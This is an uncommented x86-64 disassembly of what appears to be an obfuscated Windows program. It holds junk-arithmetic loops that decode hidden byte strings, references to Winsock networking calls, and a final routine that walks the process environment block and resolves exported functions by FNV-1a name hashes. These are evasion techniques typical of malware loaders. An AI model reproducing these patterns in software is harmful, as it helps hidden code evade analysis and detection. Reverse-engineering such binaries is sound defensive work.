sub bl, 0x2a
jmp 0x140144da6
movabs rdx, 0x5dce9f703cb0a3d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140144d7f
movabs rcx, 0xd78f8129a9520e9a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x36
jmp 0x140144d3c
lea rax, [r11 + 0x20]
cmp rdi, rax
jae 0x1401449ea
lea rcx, [r10 + rsi]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3d
jmp 0x14014484b
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140144a15
movabs rcx, 0x32d7bca16c23d6e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 2
jmp 0x140144eb5
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140144a44
movabs rdx, 0xfabb8573d7f67da
mov ecx, 5
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140144e2f
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140144a73
movabs rdx, 0x1c29f4e4643c9246
mov ecx, ntohl
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140144df9
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140144aa2
movabs rdx, 0x28a831718af9bcb2
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140144da6
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14014484b
movabs rdx, 0x35266dfeb1b6e71e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140144d3c
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140144b00
movabs rcx, 0x4c439af22235c25
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 3
jmp 0x140144d3c
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140144b2b
movabs rcx, 0x1142763c48e08691
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 9
jmp 0x140144da6
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140144b56
movabs rcx, 0x97819482dc3f1bc7
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x71
jmp 0x140144dd0
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140144b81
movabs rcx, 0xa3ffd11002fc4633
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x65
jmp 0x140144dfc
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x1401447f1
movabs rcx, 0x36bd2be3bd1805d5
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2d
jmp 0x140144eb5
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140144bdb
movabs rcx, 0x65af7942d847adc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x140144eb5
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140144bf8
movabs rdx, 0x12d934215441a548
mov ecx, 4
jmp 0x140144a2d
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140144c15
movabs rdx, 0x1f5770ae7afecfb4
mov ecx, 0xa
jmp 0x140144a5c
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140144c40
movabs rcx, 0xb214cb82351a8f56
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5a
jmp 0x140144d7f
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401447a6
movabs rdx, 0x3853e9c8c879248c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140144abe
movabs rdx, 0x44d22655ef364ef8
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x440]
add bl, dl
add bl, r9b
jmp 0x140144dd0
movabs rcx, 0xcb11449c8294e42e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x440]
lea ebx, [r9 + rcx]
sub bl, 0x42
jmp 0x140144e2f
movabs rcx, 0x338fb019a655c867
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2f
jmp 0x140144e61
movabs rcx, 0xa0d25545ec3a08c5
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x63
jmp 0x140144df9
movabs rcx, 0x945418b8c57cde59
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6f
jmp 0x140144da6
movabs rcx, 0x87d5dc2b9ebfb3ed
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7b
movabs rcx, 0x81b29732a587045d
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x75
add cl, r9b
mov byte [rbp + r10 + 0x440], cl
jmp 0x140144d7f
movabs rcx, 0xf5188157e4a3f44b
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xd
mov eax, 1
add r11, rax
jmp 0x140144dab
movabs rcx, 0x6ed9631151455f15
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x6d
mov eax, 1
sub r10, rax
jmp 0x140144ec9
movabs rcx, 0xe89a44cabde6c9df
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x19
movabs rcx, 0x7f1b57938e59993
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 5
add r9b, bl
add r9b, cl
mov byte [rbp + r10 + 0x440], r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140144ec4
mov r9, r8
movabs rdx, 0x55dce9f703cb0a3d
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
add bl, 0x55
add bl, dl
movabs rdx, 0x8e30d3bfcc442ec9
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x7f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x440], al
inc r11
add rax, r11
sub r10, rax
movabs rdx, 0x515062e315f37964
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x440], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140144eb5
movabs rcx, 0x495ead69dd0ddfd1
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x49
movzx eax, byte [rbp + r10 + 0x440]
add rax, r11
add r10, rax
mov eax, 1
add r10, rax
jmp 0x140144356
movabs rcx, 0x5f655d554811c287
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x4f
jmp 0x140144351
movabs rcx, 0xd9263f0eb4b32d51
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x37
jmp 0x140144341
lea rsi, [rbp + 0x1462464]
jmp 0x140144f2e
lea rsi, [rbp + 0x1356eff]
jmp 0x140144f2e
lea rsi, [rbp + 0x440]
mov byte [rbp + 0x10a0], 5
mov byte [rbp + 0x10a1], 0xc1
mov byte [rbp + 0x10a2], 0x76
mov byte [rbp + 0x10a3], Ordinal_200
mov byte [rbp + 0x10a4], WSASetLastError
mov byte [rbp + 0x10a5], Ordinal_200
mov byte [rbp + 0x10a6], 0x63
mov byte [rbp + 0x10a7], Ordinal_200
mov byte [rbp + 0x10a8], 0x7a
mov byte [rbp + 0x10a9], 0xc9
mov byte [rbp + 0x10aa], WSASetLastError
mov byte [rbp + 0x10ab], 0xcb
mov byte [rbp + 0x10ac], Ordinal_46
mov byte [rbp + 0x10ad], Ordinal_211
mov byte [rbp + 0x10ae], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x10af], Ordinal_211
mov byte [rbp + 0x10b0], 0x62
mov byte [rbp + 0x10b1], Ordinal_211
mov byte [rbp + 0x10b2], 0x7d
mov byte [rbp + 0x10b3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x10b4], 0x60
mov byte [rbp + 0x10b5], Ordinal_217
mov byte [rbp + 0x10b6], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x10b7], Ordinal_217
mov byte [rbp + 0x10b8], 0x7b
mov byte [rbp + 0x10b9], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x10ba], WSACleanup
mov byte [rbp + 0x10bb], 0xdb
mov byte [rbp + 0x10bc], 0x75
mov byte [rbp + 0x10bd], 0xdd
mov byte [rbp + 0x10be], WSACleanup
mov byte [rbp + 0x10bf], 0xdf
mov byte [rbp + 0x10c0], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x10c1], 0xa1
mov byte [rbp + 0x10c2], 0x42
mov byte [rbp + 0x10c3], 0xa3
mov byte [rbp + 0x10c4], Ordinal_79
mov byte [rbp + 0x10c5], 0xa5
mov byte [rbp + 0x10c6], 0x46
mov byte [rbp + 0x10c7], 0xa7
mov byte [rbp + 0x10c8], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x10c9], 0xa9
mov byte [rbp + 0x10ca], Ordinal_79
mov byte [rbp + 0x10cb], 0xab
mov byte [rbp + 0x10cc], WSAGetLastError
mov byte [rbp + 0x10cd], 0xad
mov byte [rbp + 0x10ce], Ordinal_32
mov byte [rbp + 0x10cf], 0xaf
mov byte [rbp + 0x10d0], 2
mov byte [rbp + 0x10d1], 0xb1
mov byte [rbp + 0x10d2], Ordinal_32
mov byte [rbp + 0x10d3], 0xb3
mov byte [rbp + 0x10d4], 6
mov byte [rbp + 0x10d5], 0xb5
mov byte [rbp + 0x10d6], 0x56
mov byte [rbp + 0x10d7], 0xb7
mov byte [rbp + 0x10d8], 0x7d
mov byte [rbp + 0x10d9], 0xb9
mov byte [rbp + 0x10da], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x10db], 0xbb
mov byte [rbp + 0x10dc], Ordinal_27
mov byte [rbp + 0x10dd], 0xbd
mov eax, 8
mov byte [rbp + 0x10de], al
mov byte [rbp + 0x10df], 0xbf
mov byte [rbp + 0x10e0], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x10e1], 0x81
mov byte [rbp + 0x10e2], Ordinal_60
mov byte [rbp + 0x10e3], 0x83
mov byte [rbp + 0x10e4], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x10e5], 0x85
mov byte [rbp + 0x10e6], Ordinal_46
mov byte [rbp + 0x10e7], 0x87
mov byte [rbp + 0x10e8], Ordinal_50
mov byte [rbp + 0x10e9], Ordinal_143
mov byte [rbp + 0x10ea], WSASetLastError
mov byte [rbp + 0x10eb], Ordinal_143
lea r15d, [rax + 0x38]
mov byte [rbp + 0x10ec], r15b
mov byte [rbp + 0x10ed], Ordinal_143
mov byte [rbp + 0x10ee], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x10ef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x10f0], Ordinal_50
mov byte [rbp + 0x10f1], __WSAFDIsSet
mov byte [rbp + 0x10f2], Ordinal_60
mov byte [rbp + 0x10f3], __WSAFDIsSet
mov byte [rbp + 0x10f4], Ordinal_50
mov byte [rbp + 0x10f5], __WSAFDIsSet
mov byte [rbp + 0x10f6], Ordinal_41
mov byte [rbp + 0x10f7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x10f8], 0x78
mov byte [rbp + 0x10f9], 0x99
mov byte [rbp + 0x10fa], 0x47
mov byte [rbp + 0x10fb], 0x9b
mov byte [rbp + 0x10fc], 0x9c
mov byte [rbp + 0x10fd], 0x9d
xor eax, eax
mov qword [rbp + 0x10fe], rax
movabs r14, 0x118055364c6acfa0
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x66
jae 0x140145c6a
movzx r9d, byte [rbp + r10 + 0x10a0]
mov r8, r9
cmp rdi, r10
ja 0x140145c61
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140145235
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
jmp 0x140145491
je 0x140145bfd
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140145ba4
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140145b45
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140145af0
cmp r11, r10
ja 0x140145c58
lea rax, [r11 + 0x1000]
cmp rdi, rax
jae 0x14014529a
movabs rdx, 0x6f86fd7444c30820
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401452c1
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140145acd
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140145aa9
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140145a9a
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x1401457e0
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x1401457be
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14014579f
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x14014577b
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14014576c
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x14014574a
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x14014572b
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140145709
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x1401456e7
lea rax, [r11 + 0x42]
cmp rdi, rax
je 0x1401452d4
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 5]
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x140145c36
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140145499
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x140145477
lea rax, [r11 + 0x20]
cmp rdi, rax
jb 0x140145454
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x14014564a
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jb 0x140145639
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x1401455f2
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x1401455c8
lea rdi, [r11 + 9]
lea r11, [rdi + 0x80]
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x1401455a9
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x140145585
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x140145563
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x140145541
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x140145522
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140145500
lea rax, [r11 + 0x1000]
cmp rdi, rax
ja 0x1401454de
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x1401454bf
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401452d4
lea rdi, [r11 + 0x10]
lea r11, [rdi + 0x3e8]
jmp 0x1401452d4
movabs rdx, 0x80ae447b7dfebbe0
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, dl
sub bl, r8b
jmp 0x1401452c7
movabs rcx, 0x5dad9a0ee5291ca0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x140145262
movabs rdx, 0x3aacefa24c537d60
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140145207
movabs rcx, 0x7c37eba226184100
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x140145b0d
movabs rcx, 0x593741358d42a1c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140145b35
movabs rcx, 0x363696c8f46d0280
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140145ac6
movabs rcx, 0xf03541efc2c1c400
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x140145b8f
movabs rcx, 0xcd34978329ec24c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140145b92
movabs rcx, 0xaa33ed1691168580
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140145a65
movabs rdx, 0x873342a9f840e640
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140145bc8
movabs rcx, 0x6432983d5f6b4700
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x140145c1a
movabs rcx, 0xcb0ee2de15538e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
mov byte [rbp + r10 + 0x10a0], bl
jmp 0x140145c29
movabs rcx, 0xe9b043c1487f99a0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
cmp r11, r15
jb 0x1401455e5
movabs rcx, 0xf921f3a2728eb9c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x80]
jmp 0x140145b0d
movabs rdx, 0xc6af9954afa9fa60
mov ecx, Ordinal_50
jmp 0x140145698
movabs rdx, 0xa3aeeee816d45b20
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [rdi + r11]
cmp rax, 0xa
je 0x140145a3e
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x14014588a
movabs rdx, 0x2b944df035737920
mov ecx, reloc.WS2_32.dll_recv
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, r8
jae 0x140145a1b
lea rax, [r11 + 0x400]
cmp rdi, rax
jbe 0x140145914
movabs rdx, 0x9b1b4b647a368140
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014560f
movabs rcx, 0x9d29f0b99c9230c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140145c1a
movabs rcx, 0x7a29464d03bc9180
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140145bc8
movabs rdx, 0x57289be06ae6f240
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140145a60
movabs rcx, 0x11274707393bb3c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140145b8f
movabs rcx, 0xee269c9aa0661480
jmp 0x140145872
movabs rdx, 0xcb25f22e07907540
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140145ac6
movabs rcx, 0xa82547c16ebad600
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x140145b35
movabs rcx, 0x85249d54d5e536c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140145b0d
lea rax, [r11 + 0x42]
cmp rdi, rax
jae 0x140145803
lea rdx, [r10 + r14]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x60
add bl, dl
jmp 0x14014566b
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140145830
movabs rdx, 0xdf0dfae889861040
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140145c1a
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14014585b
movabs rcx, 0x250f4fc1bb314ec0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140145a65
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14014566b
movabs rcx, 0x8e114f0785b22c80
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140145b66
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401458a2
movabs rdx, 0x4e94f85cce491860
jmp 0x140145ad7
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401458cd
movabs rcx, 0x94964d35fff456e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x140145ac6
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401458e5
movabs rdx, 0xb796f7a298c9f620
jmp 0x140145b4f
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401456aa
movabs rcx, 0xfd984c7bca7534a0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x140145b92
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14014593f
movabs rcx, 0xbe1bf5d1130c2080
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140145c1a
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14014596a
movabs rcx, 0xe11ca03dabe1bfc0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140145bc8
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140145993
movabs rdx, 0x41d4aaa44b75f00
add rdx, r10
mov cl, r9b
and cl, dl
add cl, cl
mov bl, r9b
sub bl, cl
add bl, dl
jmp 0x140145a65
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401459be
movabs rcx, 0x4a1e9f8376629d80
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140145b8f
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401459eb
movabs rdx, 0xb3209ec940e37b40
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140145b35
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14014560f
movabs rdx, 0xd6214935d9b91a80
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x80
add bl, dl
jmp 0x140145b0d
movabs rdx, 0x1c229e0f0b645900
add rdx, r10
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r10 + 0x10a0]
sub bl, al
jmp 0x140145b61
movabs rdx, 0x3f23487ba439f840
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x10a0]
add bl, dl
add bl, r9b
movabs rcx, 0x50a39db1f0a4c7e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
sub cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x10a0], al
inc r11
add rax, r11
sub r10, rax
jmp 0x140145bc8
movabs rdx, 0xfb89a726a8198520
jmp 0x140145b4f
movabs rcx, 0xd888fcba0f43e5e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
mov eax, 1
jmp 0x140145b3d
movabs rdx, 0x9287a7e0dd98a760
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140145b0d
movabs rcx, 0x4c865307abed68e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
movabs rdx, 0xaa248d8bef98960
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x10a0], cl
mov eax, 1
add r11, rax
sub r10, rax
jmp 0x140145c2e
movabs rdx, 0xe38453c1e16c8b20
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x2da2f34557cf28a0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x60
add r9b, bl
add r9b, cl
mov byte [rbp + r10 + 0x10a0], r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140145c29
mov r9, r8
movabs rdx, 0x5781aa0f7e160e20
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0x6223f2e83d0f9780
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
add r9b, 0x80
add r9b, cl
mov byte [rbp + r10 + 0x10a0], r9b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140145c1a
movabs rcx, 0x3480ffa2e5406ee0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
movzx eax, byte [rbp + r10 + 0x10a0]
add rax, r11
add r10, rax
mov eax, 1
add r10, rax
jmp 0x1401451f4
movabs rcx, 0xf4ab9ac91aa83ee0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x1401451df
lea rdx, [rbp + 0x1439020]
jmp 0x140145c71
lea rdx, [rbp + 0x16e5fc0]
jmp 0x140145c71
lea rdx, [rbp + 0x10a0]
mov r9d, r15d
mov r8, rsi
xor ecx, ecx
call r12
mov rdx, qword [0x1404fc118]
xor eax, eax
test rdx, rdx
jne 0x140145df4
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140145cfb
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x140145ced
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140145cdc
cmp r9d, esi
jne 0x140145ddf
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x140145ddf
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140145ddf
mov ebx, dword [r11 + 0x20]
mov r12d, 1
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rdi
mov r8d, 0x811c9dc5
jmp 0x140145d58
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x140145d4b
cmp r8d, r14d
je 0x140145d6e
test r10d, r10d
jne 0x140145d35
jmp 0x140145ddf
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x140145de7
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x140145de7
